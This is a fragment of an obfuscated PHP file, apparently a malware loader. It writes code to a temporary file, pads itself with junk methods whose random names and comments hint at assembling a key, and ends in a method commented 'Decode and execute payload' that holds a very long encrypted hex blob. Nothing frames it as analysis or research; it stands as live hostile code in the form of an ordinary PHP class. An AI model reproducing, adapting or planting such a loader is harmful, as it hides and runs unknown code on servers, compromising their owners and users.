'; } $tmp_file = tmpfile(); if ($tmp_file === false) { if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.'; return; } $tmp_file_path = stream_get_meta_data($tmp_file)['uri']; fwrite($tmp_file, ' 50) { $tmp = 'branch_a'; } else { $tmp = 'branch_b'; } return 'valuQGr39'; } public function pubvWGhu18() { // Public method 3 for($jv1=0; $jv1<1; $jv1++) {} if (18 > 50) { $tmp = 'branch_a'; } else { $tmp = 'branch_b'; } return 'valnvrm78'; } private function kmGKcTyI98() { // Key segment 2 if (11 > 50) { $jv1 = 'branch_a'; } else { $jv1 = 'branch_b'; } $buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e'))); return base64_decode('WkRTVEg='); } private function gtPkypYZ31() { // Gate piece 2 $tmp = base64_decode('ZGF0YUxSc3JBbzQ0'); return str_rot13('ns9r3'); } public function pubtXmxR19() { // Public method 1 $jv1 = array_reverse(explode('.', 'a.b.c.d')); return 'valjQIa30'; } private function gtqQcvGB24() { // Gate piece 3 $jv1 = base64_decode('ZGF0YVV6a1ZqcTE0'); return str_rot13('fhbw'); } private function dcsVwNzx70() { $tmp = 9304; return null; } public static function init944() { // Decode and execute payload $hex_data = 'ErZC5BPam347d5ba3aab8d2ed0f5a0f8b78d94b1f9340b82868805ce04d414109ea9ada1df4d77f15fb9cc7ddbb9b89a1326a8ca46ad469cafa24177f62bf1ad95445daae2f09160d09797df0eab9085fab1607661b0e67e9b76de3a353163c37ecfa9cc711df2653bedddcba859807acc6af3eb8b5bc8e32ef400222c88333be1ee485e9b8f7caac787cf69ffb8585cb031e8c5f07af3a9db144dd1e4333cfefc15467a148f7c598465977bf9403d3e50d9e1504bb2cac5607ef3104519ea416a7bb0f9eb574212279af145e04357bfe12ef745584d9f374e39f6334d42561a418396f83e710f1d57d73cb3e7eb1a8a8f7dc1c4302cfe2f53eccadf4969f36ec09f69e2cb7f814e7f85dd2d5c6bfa63f7bcdaff8629e19ae351f3dbefde4db423efef7fd8d414034e983c0e603fb2c573e59b69530b57b96f0f27e379bba9a102f2c8363f0b626f9b03bb1b5f63d1193e2ce536f91a6dcfcdbcc5feb0379fc4a3d9b73f1f8be576aed6efba9d66db82e88f5dadcabf3a27c78a1620941ed4e9be59dcbb48e82348ea80cd27cb845842f53fffe271902d15ecc76cb5e9f30f2eadd98dbd3987f7fa398869324e29c99a5175dc4c69ff5ee6fb0034a61bd82a6f6166bdd9bbe90f7bfd9f57ed9e44285fc11f876b0aa7ce92a0fce0c579ad0bac873168b6eb18b73e3f161bafeffefc865c669cf92e2cdda24f0165c2e969b4f3355a22fe1dff309594cfc7aaf13b23a66e334cfde0d633dd1413eddca9e7c7fa37b565c062b862106d84a904bb75565d6bbb5dfc9e52957af3214360ff2d5a87d74a8f86a9fd1e6b62f9abd40abf04c3ddad876158441d122f2ffde0b7e639006d195d15d3ffc1b916a7646cbd32160659807abc3acddb9b5aff261bfa3ddffb2595710d4417c259b7810ff53578159990fb1920b899ebc0c1ecf2a84f822e6fb5e95fff25ac184c07db72dbd8e9475db3202cfc2ef943ea3809b03b6a46a70d2a90be1c5b8f4aa91ff88294e3467a5ba61d8430c89fcf56f5236d3899948314b944c0d1e6ddc48961ee6c9df8abeaaa25bec25ebeba4ab7b5fc7db68bc8fb59face5d0eca8c1914f31aee47aee8bd7232e9bd999b78c1aa409b6235162db4ab3a92ef29a163660fcbe2138de35369de05971f4e9bdfadaae15a98f8a77d48f523f65ab8b3ff5ff34577239db1c9e950b8c569d984d55cc5ec931925d76b18c77a81656ec5a2e2fba480e61395c6a857e4912247e472aa52544c76b46bde14fa2c4b4650357c60b057f4d64acf6adecf78777622a580bce97b560e9ee2c2b4b29a9a3cff25d5ddb5f520489c438a03a602927d6cf9f8b6626de27db625fae2566a991d7206ed0a239bc6b40935799cbe9283a59c6988cf4d66c43654dfd917f481eef286b4b1db1bc465e077bf8ef59c9cbc99248a36724b1edc8551e12fc3c1d69f2b78ed63cc7cf1d7ca963d299abffe65914f653a6ec5fdccbd6e769a46f934abbe0ea0bf468aec9f58453aeed3d94b6336416ec13d9a73b5a5fd26892cc9a2365ac6a25bbfa979c97a3ede159ff60efd5f85d87fd1bf733f3b03a48fe3d87c9e5d435b96f4d21ece28255ba4b70bf3dea609e463862e8991186e333ce064a9343f47976d90cbfe414631f6242cce3a4ee88a7c5f295cc8839b3ae50c8a398c5232ed931b1dda9baf1a9d636e2f6d5c2bad48d9446bfc5be50d9a71ed95a4cf24c3bc128ad82942fe7749a9e4929e60dc752b11717d6acb05f9196bfd2fda582f75acb02f515b1c939b10cd61e166896ad0f9fea41a6e4ac5996d3288852f39a54b0f895cc1eaf1316124b118a6ee8858ab709bf1ff71731afdf9308f8f22c5056245d3cd179bc295532a5d704fedbe74662eeab799da7ddf346fbfedf26ac9fe7aea5941981b199a4b2a465abf3fed29a638424e3c10e4b53c526bfd237df1421b2e998be709f341ac19add6499b2d74403bb8ac7e67d9289ef4b542ab67ee3b0c91afbd8ee34f9c96e1e85bd7d24c8142dce077ac978119a593d9b603fde373e4f34d582a47cfdd6d3f2de7c92cbd9704df102e0adbb4915ec624460bdc4bbba591ab0a9155d728a6560154dce65e8995ad91fe955c4b769a0288e6abb5ed260fadb84813d1b467c86b462d3475e93636c103d5032d4d133c8bb4725505eb7b69a512ab6d1e735ab4bfc2079033924537a8ea38a3fac1fdc7f359ffa7ae6b1d69287822ddfd20fb609c3e7fdbc35153515438f1acb78df74e6e2cffba6984db6f2c9ff641ea4be65da7f0b5c1befe6e7af9f56bdfa2dcba866362276d561e5a52d43fb5d510f47bdc0857d9d24e7fb180b8b01bff8a7ebd2112dc82432c9bb405c9aa832e8adc5fa91cc647fc209a6467281d67371ad8f2d47fbfd2d9eeaf92bcf79b0a1bc3d9df160fd8b48a3eb6baa3ec96f2964ab4d526a2a4585ef030db21760e17c631b4e91c5b87b5e20680f278ce8ee1dccb21baa73b93e139bd5314b06ac4d13aae50712e35a058f83ee7a2e6e48d508cd29793d9bf0f53c4bae7c330969ec28c7741fdb55732c304a8b87e01d3b100cbf91d5038ee4291aa74f156693c8f11ed6be80b827357c333a3d97cd87f50d1bb4b28b48a2a197659526accf0e976a96e935c4bd39494b9a96e72fac877d5842ee28c92f22f04ef13cd79a93aa7b20ddafff4dc6e71b7207f1bbbe94684278969c4ffcde546f72c9e64b9ecbe70e7247db98bc5797785bfaaf4f3ab2250eaa944ac9e95c9635431f3a4cb05ec913305a69fbe00abfdee40a3881d7fe711ebcabf7c0724c4ec2b675dbc997d6f126ba4ef6f0899f724a2a2d73ed5fdcda2fadca5fd766acc746d6a1cf87904884e458a52d46f121cafa2aea0bcea7a3b4691ae3f6aae75d5c8e719f5ed9528ac781e25cf8b72aaee1fb6bcffcc425e94fc0ec345e17b0b52156ebf6c461ed29e96a6d74de01a562a46abbe48a353b872abea57e0bf855a58a27d29f3355e197a59eb768aef17cdb7149f1ddadfd0d5feb36b1cfe608b936d3ac601c6f889445c2eb0b8d9273347b7c0e23fe117dd2529955b41061855e9e26cf5fb11f2017d898c16fb4cf9bf8e06d2257a73d6d87ec6df280df338280b4f161a66e8647e1733c7cd892e4046255449ac2b3cc7aa63dfba7f9087856b6856761c2a635b9e218f844769857b68a50c9bac741220ef92485fcd8c4e5a7b755c82612048996a4f4616fa7d8783ae8fec4d7b63fd906f6b64705ebdfe2931c1ad6fbbb3900e01c33c0891396f2043b7df26f715ace62c8dbd94a1276f6651cd07922b36ebdf08374998ced652bfb50a1a5c626edc5c8d3137b9e21be7e6a3a60e0d01b81f8aee9f0cc9fe727c81d5e3613ff080fd61eb5b087206fcbc9d383b9b4e3ebb5912cd0ec1948feec888f7709bb9f8eeffa96dd5e7581d62d662de4a666f22fc9898feb79e5e3bfd2cb0f1a2259694c2adb2f29b18b7626e65b9e075a4e527480f7d70a27bcabaa4b72737c22904041198f5b297b35cf804f775d760d9e328f896fa486f78a6b7cbf690fbddab17e6d2c81b54752b2fb081ca049e47abf7f3713e898bae8567b22bbb845b069e76d037b085563fa4344725626c5c07d4ac02fabc8b03cc31eda20c6b45d96b89b3ca22a92d8d5f130cf7fea1bec47b4ca44d7242d4adfc0434e913f4da91fff55b93c401e62b468e03b06573d75bf12953ddd1e5268150879efc98c358d24fe5157a87a5bbfb07827797e6a39b9e977ba8f66cbd9616c9e84b898e0118d6a609376f0c96a710eebdb09e74ce305e4da251233798e4d00b93698d7745931b396c2f238e9e413e2721f7dccfc30b66b19d4678a8d10ef26a8a53728affb7d56afc1e1aab27726e4e34d66a46dd8ea748c529b5e5e9a997b826dd2c68619bfc8cfc5189b2a6c60bd1e67bfcb73c88f6166d66f7fb2bf93597e3d775852b4a2d2245686f2185b94ecdef1fc18c17eec860477d919f8d7d38ffaaa28a77735ca051175ab3be0d19720a9f9fd2a44ff84bc6d4f2828285e3169bc5e5e591bdb7ebf8ff2b1be05c0c99f7bc0fb12f8d753bf93b618cd2a2de5ff849734c0716bad6b599967a7fac52251c1ec848caf581712feb2c46f7627369c0e517eabde803916014e35716bc9c5bf002fbc767d56d6bfe410105fa691bad4e59103ae4eab3fcdecf53cb16cebcb177039b3a62aa962bbdeec233254b72e60c8c6c4a64962db8b9ed7a7e83a986c4cff51a23ec0b3982e1a9c76dea003c81d80041b04398dad28249d4e8e71daf275b69f07b363816a26d1414ac89980133e757bc8007ef1a724b01f4dc675418a94f50b2d929f387c5c3756706a16a0208c151f7268cd63bf9f7b28bb31c93170b92eab1399dc7021733e43369bc57f1d466b240b4565911acf282f7b35a3bc0146536a6c801164f1314e4e18f6f61ccf333d555c3e044171dcf2a4d305dec2dacf1d5f151e8e7ddb30ad19fcd23b2c2cf0890f70399c63655691043e8caf2289bbfbf97809dec76859e5bc3f4ad96c1323074521beaed3a79ed997e8ab98f2d8576fec67687a8ba05bc657369e6d0cb271091a665a8b59dd361c6d775160533d606697b544a48d5976f529df9661321d46efaf9c1a804852a839e45a4b667e102f92593b6e0d8b345b058af51f3243e713eef7bb281901a3e1cff58dc3e8060548d3e418868b0b68ab090f55a6611bfa9495b087402bc40bc06803f815f918340c7e7972cc8e31632e260057ef2e5663895bd030e95c5d9a34f257e6304b7e8941b690d32a1d65aaeed8420dc3eff62a5f5b4869b45bc0be5b8d90d30e2e6fef6f7557bd279d1b9b814e8a132b10e4dacc71ccc355fe265e76f6adc0b48849666ca782f84ffb61a6e1a0f9e403f0c078a0a2b2139bfcfd1c4f95eecb1c4f3504469c48e1f4e3b65089ad40b8e23ec86857517856021c60e17be9aaf59be96c52a95cae35a0154672046e521d20e1d56fe085dd6a232ca95b238dafebb60ca755ea33e039ac52280e54c14405a2c99f16c0c9ab19e48e48750bd056fd84c7607b928fac026652df106776aa2156abc688b75f64a7281cbab4acd7c463adc61c741a8e010baff0acdf6d98f5a70e732d97a01fd79e0c1d3759a7bba8ee52bd2eb8f1f6d2f2b4b1c04ddef25caaf52afbb44bd1e344a1c6a7efc0cfbafea3fbfe9f36bc4f270462c476a130f626472f6dcc9440ee98a5858703f64c48d756b19483af41a78d665df9b0f68100ce4634e4edb8eabaab9ff73fedac86b54fb6ca3c0a25b3150d59d5742f1f30c7d4f3be60f205d05557c0a3df34ea00a381fbce720b8471ef3b0d43639c75f79b0886553b232f7896ef3826ee1623093169cd6b0b7abbaff40374ed22262cd83636bb518ad362f698603ffe75b8eadbbc121792d70cde4b00468fedb0e95ae61b030abceb68389d13442868855b7d23927577e0e4f10ef804c2053980debed5a1f8c1c333f16de0d322009ef398e960b56c7df6dc188641f153c5807384c9d171dfea0d195caf257cc80c77e4dcf2d8ea374ff975351edcb9091104b468e0c37b65f63503fdb86c5406dcc440dc036742ebb5bcc6498c5fb01fd3c9e55aceba3de66ded74877e434cccbc311dab7f641fecfd4e96e2160747bcb64a0c908732b341758841d84b3321f2c1fb843d360788aeeaf6d085ed600f75fbd636c0b412c09cce5433f6072072f3dddb7317ab2be307af6becd706e25e2b2342c9e20bf571d27613fc4672ad8a3bc47db7a3122731ef47c02ac01cd01d7efd0bd80da106533a177ecd1e4879cb471c26fd1937ca974f02efb516a34ddcf9c441c36aeb27e5d64b301710ab83a5b7f650cc809b5c5b882f76569dc929952ae5c3a07b738fcbf6e67821354322396818c77de51334dff4535f9e3ef0e81a98531c73d9a9c8b4859a4077040fd88fadcfa51037c86978fdd1c1e3de8cacdfe20c420771c23b83d5d47ef1ebdd0e153cab308f0341b26a71f7f635e06ab9ba1d3ef8858326951c746d0420d60583eaed9f58e1d9c6b421c55d24d934070dd3b6ecb53f146438464615b06580981d922e46ba1059e83f81cbc5c0739216b85ca9de6d71648f8f26a01f476181cb51cc573ebc572f4ab16b90571fa2e65dcf9f01ef863d9618f82abb8028df96eaf5068ef914b9c03ec7beba557eedf4633ffc6efc787e66190378f3b159cec5880e31f24e4760383535758e41abc0868c6532fa519687b3d73a2dc9427acd46e138d29726c86cffa1fd748f811c6eb1c87dc0558c06433e75d3627b06fd68abcb03b2df3d91a8da279680b6aad2e8d37fb26bbdc0014f296f22e0ab61c617173d78bf5b3f98406f33e0f7a1444b4bcb043432e4da42a03a5a45815cc584b78dd30a906bf7a59ad6d995adf0509f9595b978c749da2d0057a77b736dbb338f958f268ed11291194e12b63aeea20ce23e880a63f7c4a4f05e7cae755f971f88d5ab780aaf6d7c9e70316f6866d7c817deafa61453c3b380b2b5cbf5239ec51970c06d75b3c0275ea2e84c2b6dd6349d1ce8856f43dfd874446b3c3c5ac875ca9f03f06332f7c56a9194f01bdd599a4442185014634062fcc80e9adc2abd144cae3684e32d68e4ab7f1bd2d25f7ed26bfc8ff4e244dba4a67a024ebef6443e3dda6b3d342c618e7f29b97ee3b1da3466b9dbbf6378afa90c98b707ed9eb42c000d638e45f9bca465f23f928b4475a06b691c55fcf556fdeb6f728d11e40e0d6455425c18a150056bdf1c8b0665f307d0455263097cb8e310abe45496b0f60a594982bdb65da41c16764b0b2970955c6bb381b5a7f01b097eadf118ef1bf33cb98c56df406f23d410c62137990b2e701acdd6c0c99bbfc413a9ea3ab787c8919337e4da45e38bd9a6cbb69add03057b545edb43c357f511044e7659ea9cadf6a0ddcb0494837a67a0455f537615c0311bc0a2b6d6b75ac2b326d54f9778ac2f27d6e8efdf90c8a3611a9fa43d1ddef13b2b1641d081ae357d9ba07af0a36e532ad8a04afe8f048fa38f08f72f15491dde93b53bc7ecceb266143d0436af8f2c314ee432de434c54179373de1f30cf4e2d13733faa79f1011e7d05a6e291d647b2f6df1870e26555df3f00bfba0d2754f32e22689ac8475609f38e07ddcc804f44395ed6043e63c241e51679ce470b012b57d84bb1649ce98b8832a7b7a7c52f88fbd70949e65b54486b5d7e8c1b3bed0f5136d6735330f3aa08ca9b33cb2ff49de705f0af6a4c16caf168db2b714b41c34c9e9aeca251f20aba23f7d18248f4fae030af20d7fa87a21dd39be71768056b5cd70dee47acdbd6ad571dda7ff090ee6997083df7920cbd162ab80316f239ac1700d8524afbbc901234b205edfe7d167013bed88b0ede8bcb1e6b78af59dc65a3fd215e85353049c00e7264abab1a929f069e7562c996b2678cbb7e8dafcdae45667b8cb2fea87bcee57d83715e242819fc795f3b0d9386d38403e097a6157e04008e5ec0a3fb9fe4c32e4e2bf8ac2f318b7b31d60de0ea693f9717d06979deb1465a1127bcef34853c14f6b3f45afdc829d8826cd7aaa8706de1bdc4b068aecdec6421a2e540889d101e256845dbfc771eedc1977a01c724a784e717f5960dacfd0de2cb7ecfa3795fab28f65373bff9d3ea57a3f2ee6462587b540899c1da674d6c963ee4dabe7ebf74ce592b6c5e838eeefd1be8b4313569d9fe8f4c624b0dd15a4f901fc99206e80a3171dd98c4a7f2552a99827e043c968f784f85ad23a6399e04c6edb971e73917d9f0cf04dfb1f90b189df95dabe8bb164ea7897c589dfd7adcb2aef0d9a465073c5ad96ddcad37d53bb942fec839c61b58c73466e2ad6e715c96cf3efbd4bfc590c3da935a5d2abf620f4b83c50a08ffecc4e31cf3a51426813cd456897d65475dbbfca8b9bdef2568abc4066f7aabebb034efc327fe077bb93bb382fd1813e05f939e20d7faf5b03175e4db3b21bc9f8b4f4c4efc410f9706d5ef21e216f293cc21a70533d07ca7d09f667508f83570e039895034008eb99ce8f0ba34239f6d19c8146e84346b4b4a56c5e8b53bcea721bd2c2b6e5025613f36b8ee35e559f9b1e630b613e05702da9dd3390e53dc4f2237cf3694af8d3458f35ec3a7bec8304d5afef08f9af4d905340cea8560ee2c8d5b756355a93c08841cf6a33bb3929a164c5508bd75f0fa371e9ba9913cf7bb1525b8f74898b50d7bed0e5acce13b1641f7381304da9d55166b720ad5bdafc27c015c0e341fe4eda80a6aee759a00c7f441d75ac869d2bdd7f326c3203de1d5b1ba605bdfee2c00390edb0ef8979830256d347b8eeeae494c62a7b860741ec7b5654bdddb5fad6a81df03073036c1ec3189529e5bfc3c1fa3c61e235206fc71c6c65480ab37ff9640dc2f3ad0569312f79d4699561701df7165546f2eb1025ec82aee83ac22a8bb90d0dd2bbd1210e63f196021ef1c7eb5e7330e666a5eedc3d0dd35b54bdcb32368f7ca77dabd5b0d7a32d726243d70a6884a8f11fbb2a0dd31682bd0c8e802784f195fc3c2901af8ddd5d75de6ee1fd330f99fcc49e31bce7c2afccc928ff6567f9a3140dbae0d7d0b786fd77339a273cc603f5e80cb6903d2116718f867cbb28bbaa59b227c9adaddf3f5815b47067c5556ddb4d0c3fa1287eeae29960a9952b06e2433be4df0440f45304b6f2f77067326324e408102c784678dabde6951e2353bcdb2da9ff3b0ee169d1ad2555282b69235f6d94005f28093cbe6c4bbda9dc1a4748199048c64790bdab7d3519a96409eeb523c09ec212d5ba7b745cdfba572f78f8a8da72ef7a98197b3fd1af8fd36b168bb2bea9feaedc1b34077a0203dcb14741aa9ca10b8ef2c5993e055e94e0a7569656ad05289e54ff3a9871332a1dfa19230f4c180f7319a76fb4b0b3841f2c2929330a48d79fda49a9c237fe83295fd865c013ca7d5c061838cafe774e896c998755b66363ebf47023f61bdda4322d731e07d97bd271974bd2420455a995f35cd4e7cbcdf6abf7ac921392ad46ac761b3eeb1d002f463483a770746d13d24cc83b817498b96e9319a2ed57b2a78c720569332e68175f815864b548564053c67ab3929b46ec551de0df5badf8daae6672bb1665329cde202ca6b9b30961e6ff2278da6cac5bdc0b289b179fab76e5f7e405b85d9ff408b1e14825c5460e09893d541ffb7f9087b3642fb761548095a77d62427f6d8ed22fb4ee9b208f8b001bdddc4329dd3086fa3cff4a9cb0abe2368641933fa069dc681334f805f9f06b9bc0dbccc970679f20a7adb2ce9fe9d8cd5658872d4ed04e3bb06f3379d03bf0f87319b794f39d41565ada66f2932f99a037efd9c4b7239436efd9e3df26925af383b49b33916c925bd8184e07d259039c3daf7f4c6daf26abbc3552e3011989a1430672a216f0f2aef5f4d19d886b73e7000ae6432a3619c818e6a0e91bc55efbbcf500f748c834e4b8cba654d39f6abeccb7d2bd0dbc2a7baf16bd9c36f84dce1c7f68c3a49e59a0bfc42143e74c201730a60f5d1a4389b8e58f6f5196737d0b0392406c009ef817b9cf8dc701ab5f01bfbb94fd6f726cc2f5becced2268dbbd50d434c00674a0ff3fc961553c5d16a4f6c932612f6e35b9ec30fc4fd08793b60079f037edfaa20ed9055d36ad5828a3859e2784e2165b6264a24b131741fe5d7f482648e89c45600bfef6658c7fbe8ba30f528977268b0422282582d32f4f8f8f91270e20571cf73c504c5785a93b23e9ff8da3fdc489fde300661732686a7491700c7ccf372b6bad5cafb470c78a379cbb586bd8de03b0a736fc7e47536c9d6b743049863f015a7b1996217f790876ace408fe0f6d47615e86d56153334a5219a641e407e64059da7ecc8ba9b16c9a39d25af2dc3d247c297f685e059fbd84e31e80e9b6ad0a2767986bcbd6f6c35b9f3d5c29fd6a96afe1153b5555dc25591a8cc7a1725d04f33a6b30d6affdbdbe6d99359dd9ed8bd39ccdb6b357fe8803df7b0d2fb185733c8b569a196a015d86f4104e8c7ba069c6035b23741168b66bcbb67f93e5b008f7ededc7d4703b1bb776769853b2f745cbdaedaae9b69ddec8b1034728856d2e934770f5360bfb6c0a004e8a15202bf2721682b8151d7d3b03ec66868f673e013b705705f544b669ac6f6373a6f8f4e0f1d3ec14b883ba1bca27ec45dedcad227d313d60b6242e4d49802e3d52866d9b965f87c98d7a69e3feac2ac056580855d7e81f7caf8089972ac416cd6a045db5abd9bb036c8fac1fa112b3c6d788b419045d2a437f209486bd7fbfd2519d26260b0f83bd0a275d22546cf935331eb2eb53bf7ed45ea9bbc54b42e6bdedd005757c9ec319c510272751502679a11858eb1094ec71beb8ec55416666a254acac6b64f7a6b4f859ae6e94856906b0f940fd49fd7c07e1f56e7eb27e4a1f18c722093eb822033a7aa71f1b539d2607ea4167207aa058b77c0a30de88e3a84f8ca66d91a4ff14eca5629ed85f05e173fe85f67f59c9f51a529122141682e5402b996d0e39c4fd50d12337f021642ceb4906ba3661fce120bba764d44b551b62dfc779267e681e0bde0598ffe6ca4af10f795ec112d834d2b09e0bd37a5bac3819c1ad241acca00a9a84bc3cf72aa66d36fe23d33d5d50a38bfaaf972d2deb0044e6e4eac92be8b23779ea36c7ae228debd2b6031bd065ed840ae87f76257d0a255184eebca6fff270756f906f0eb5df947f9f8d0e1f1b71965bf31ccf7f11d0bd4191ac23e46afed41c7b6d24c32f83c02f0beb56d4f75762ecae99329f61bf06b236502dc17bbf31ce37bfdbfb12fde2793339f794474c00b55b34fd0b43f1681ad2e16f32e882977fb1d383988e270f6586763fccff77cb5cb20a7d92043eb8f1a5eb01f1fd70dcf002716f0aca51557e021ec597fef58df4870b9ae8919606ff3096b08287f61b259fb3f15541b6d32a9232f3ab2f51cb4e8efb31fcf1a56338d8c04adf02625bc975d27fb37f95bcf71043a2d7198131b79813d04bac39a746c7f614f64daf6926a1155a6bbd00978e1584de74e86aa43c0bf5e9350b08fe5e274b821c0fbbb9f33782f1befcf2ce9a84e8e2560573de32fec01e660e013c08fb3ceebfc60b588c366025e18a8ae838506ad30822863263b3a8c7677f8129d0412696239d2517b08cb559fba7b0502ef6562df8f7050dbcee87c7a9e4301989304a04523c869885c71d2a07e7fbcb5a0468c2ad0eb282568caae7fe9775bf1eb7a0e3cda628f43f849ade7699059f6f6c9f3773282de9619f6d113b6cb0b3866b339e16977d490c8a22770f2a992a82d1be4eead5a5e8c8f77f56193c3098d6bae228f42ee58d27e094ab4058cee996fee8934cb497cf0eee4cebfe6ec92464ec3f41277780b5ae1ed5f9a0d9fbd56f5277848776e62921c7035a9ed63e1e7d3a555cff74676a09f8c20aceb21a7b9f3afcd2e72bfb197c0a30feeae3cee62446ff2187d56a0f2c82f29f203ed62c869087062d151eff5b729abf9563288559e10397978961d817f414c0413c457913354632c6bc08901f0ab055c7d6757b69693d8037e81b662f9f7dc7758fd6a7dd99f382e94f5028521079478d3e0ee74b8d4808ca6e4083800ce4fb1cc465a00f7fdacba54c53fb80f400fe148034ed4d8786ae87e35616c373676f78f81d31d80d18706f7d94137a87a1b1ef0c50e5bd0e0bc05ccc94ea5ab9fb8ca351ee401b4a8a46f1c670859574b168fc031ad2834829c2ad147bab8e7affd9ed67febdb4305e675223603bc6f263f326df8b1b7ba240bec351b2de137eac0af0c90112ffb1b2b723ddb34a7d894a0615664e4db13233ef0892ed52b3fc7ec48a43cb4b69b20476f8beba2cbaeed8a10d26a460a3f22906ba7990ebc5fcd47424cb050231b4bbe32e4539116af1cff1aeac20b02be3cc1a73936d65ca9ae327797998ecd8fca055132d3e29da81aa3a53f999f646cafc0e536cad588a0c54d8c5edcb045b58b8277355f05b9bd6710e569d36546bdf126545e077a7b2544ba5128178039aedee44dbf355bb2db7251506423c5161d09e35dc31085ac7da9a315e35d7f164638fc02cc49b3e203fb51557f499eb4ee0cc68f6459a1e94da7e157fb49fa93911b8d9e5422e013216b6383b6fb0898cd1cf11c39fc68cff01b6fb490bc98655eaa5ac8faa0f93891febb55a0d39674b82fe3b105423a480d5c4ee1e55ccc3ce0cc5d7d9893cbb1b034e82cf0c2bc6ab198f997dcd589c277049e13048942995437095a610ddafdf90778f478625c010dd58e4f90998d5b7b3fef81df57730294ac8b89ab83b1e9db77185d2e67552997c0a3b77e974b316f81cbad6e227f2e5b055cae4b5d0d25e4a1cc139f208e11039dd64cd97c608c3341780b3933e97c2de262e60107e02f32b547d8d6b98e1259cbe7451177ff989b8dcd7ccc07a6e473743aadedeea7c37cba1e23d8fef871203ca981cbbddd3d0ce88e5555364f99571bda55be7ac77e0ae0aefbf515f06b389b4ad16ef065673b5c563866afb89a735bbf5fdcd52a424cec12933d311559394e53e53bfc62ad42a480f892990d6e4a784ed7f60d8873d03094e0454fc6266b1876753063f65e96817c6e8052d42dec475f63d0b5dea552dcd59b1ca94cb1d2539176d347e7dd2abeb6c3991146b1170bb31aa5b2901fd96e1f4dd78abe344736c1b28504d41a7ac19bc89fe6876b3bc93ede6a3c04f42de851aedc6ffc9b00ffdaba7a398ea4009d26af4de234f2fe66a7fac6ea803d60ed9bd4c517e88e43a8566335237f30c199e26d25e69382bd3da764fd4f323e3ac02fee1bee0bf6b2805f80d1044481fcc9e6f01b3bd460d49f63d01d3a8ab71013f34cb973a6e7c6b79ca97780e1594bea012fbc8af7d6045cb30ee2fe6ef047ec5a04df11f610e83477bf2da5bbcb94d913726115cdba2e1bf10b0fd9113800f781e7647cf9f181df27d7d669055fb35e10bb5c034e6c6348a4d55b8ec76259724c6ad18938e93a043ce758faf01d67e95f291ccff9c65779e40fab82c5e21cb28b5b2f0d3821f97245ae0d8184b43b5c1253dfa6a230f01d59d27eef3275722e67685597c04d26795626afa9abebc0c340c974015e389d00ba7cb9a2448276072d1ae3757abcd47d765972484d672a13e0e4e4e2df485d8caf55aa827f1481b8e72ca7b449eaee0e79e8b9707cf564b308b3bb8f2dec2b55414c0cd56e5ecd40f3d5ccac3229c9a9e9c84bd118f6d01a1d402313afda4bc0625a34a4ee3c43bde5b3f5c574625863bc06eab0ba01581e1bb6a63bcdfed6742a03eceeca651db3fc065cee5884fdfb30064fc0c29d6fabc8bff1b892ee0c79fd8a43c8b55d2c299b0a6c128f96384b304a0e17976bdd7a81c4607c0f7b63f06f01688525ca3e0dfcc6006be0b8fa968bb40b809bf4ff9efde4b6e192faac0ba5341f7816e071773c44d34fea6a902ce421e0f7316683a21c38c07295fa8e17563bdd05bed6043853bf80587dc5630aef055ad40e0cdb6922657b8058cd80e78cd9adf3b95d6d848158c5cda4a2b689c6e7250dc9527ac027809bc07a8547f9427a324fc0c227e03de847eebbda3b02dcb731cfeaa05d2dff320f5c7d0e8ed3b364173d07591376e361563d65cf5a8afb9c6a09eff5f8e869fd3897c9ed64a5afe5a314e6319130013e111c0fb49a6780f79ce34430529e399e7064f22834362be31f19dc63c0afc0bf3095caf5c79d0d25ee598c6dfcce9d479b3770df3de0eaee58b03ed32bca11eced2e29cebc9bfbb7bc8ec218f82a7c472f6f7ccb94ff96901f1f732dd67fdb593cdfb27cab25e40e39f480131be05fa71d4d20a7ad5561cd4132d0699c5d005fe037665306bc50063ca6c6d5468930b3644183e1771326dd0652956f1f8594f74eaa8634fc058114cc2a17f740df311a9216e5377501bc0fbb1eb010de0b989494a5d3dba9d36941f6d3ce2a7b86f5f2f1222128f368d880f6596f771af4237da99c2ff698cb36b162a2b7be89fce53cf5933fc47100448017c641d5f59370f5e4217b6e65efd3ce0b259bde386cdb935c27f01d6ff59c68e000b16009e8ed61a2517de69fd7bb56f28fecddbf42848e2abf92dda082d7359991a1c1b98f99853cf8fa60c0899875f54e67a0501e9c9b3b8429de9fa57ca988d4e56c3d5557c82653dd82f02ae93c88d36eb808b2fc1b97d2699890f28724b8ff88b1d9b9b3eddd1bfeedb9aba90169cd4c15e3fa45e77853f89da93ff8874ccd06486e29de2d68e4d71272edaa2dd9eb8471015493c3abba58ddc5689ded00a3eb8bbbc6ee622c19c4576e7c4a400fbdded968ff11c3e308781b809ec729ac8dce0d68be07fcc6b470394d20cf90127f7b0c8edaf577e080d9a925a8d935b2068e396cc399d75733f184a5220a370160b4a8ccc3d381f93987d9f5c47aeacb05c477dae3993bab5fc7c77980aadb9d81163d08d6976d978f5a57dbf27bdfd1fce3eae524235215a0dd2dbe3addd128d239ccc1fca115bb5f20ee3709d03cd069b0b7599df3e551a2fe9470f2826fb62967fda71af3159eda56750df5e75ef21fe674cb58dddd1d7e44dd39807cccc8c8801f79f5b1488cdbdbb94bf732ddb74cf6bac0f0acb8afc664491c9fe00da554b8bada992010f72ab936b8054e3c954a02ae7eaa38c17d7ca4c454f3b564e67180f83e9c717ba351de96aaff64633691a0da53266b574f5c9baed3d30bf450fa3e23ae15ee12ecb8494800abd63b57cf74d4835f58524b94347167aeea96b591ffb207c845d273f77c466888dc94e3ab0a9c56685f1bd406d4d5a6e3d70c5fd92161f6585d6254472f1de001fe7eb76dbb0c7e23c444e8f5b5df4e2a27478959e1df6292a169d20058ed27789f8dbb63b5114676c4a1884ffcb1d95f92bf35e4a1dcaccf84f3f4cc80fb4629f0e8a5adfd6425fbb6f125f086b7eb45b2833f2dff6d553d362078b47c95c027d0b7c70059e0f7c915f66395dbc1dd058056a8de98669c8f2f2ffbc40fe9c57bd5b585d23c4a4117e87c7949ae8039c610daad42cc264b3e6dd3a047565d98cb43ba30d6d593572daa41bb2787225c9834f4fe8ae009fa35978ae23073e7728eafce1efdc6e64c019f70757c6414a091f1f95054f36afe8274865ac2aa34e6590f6b7f2ac36956cdf23f42648d6f32c02f7856472c1d92cbb90c5c2d2cc4a9ab1b7a79f2da362d62fbe3dc69be17e434064b0ccf677c466f7c5b5e07d00acd5f3c3599b63c501799a70c2d740ff951b523c43df0552f9276fdc63e7c7f43fccaf5fc5c9e34c77d236c766a6c80f45c1e8b19fa64d7e6070f774c791c015f298eb81b34f0e8b30a26781660f402b4d5724655ecf8d7f1704b51451d275f6492a77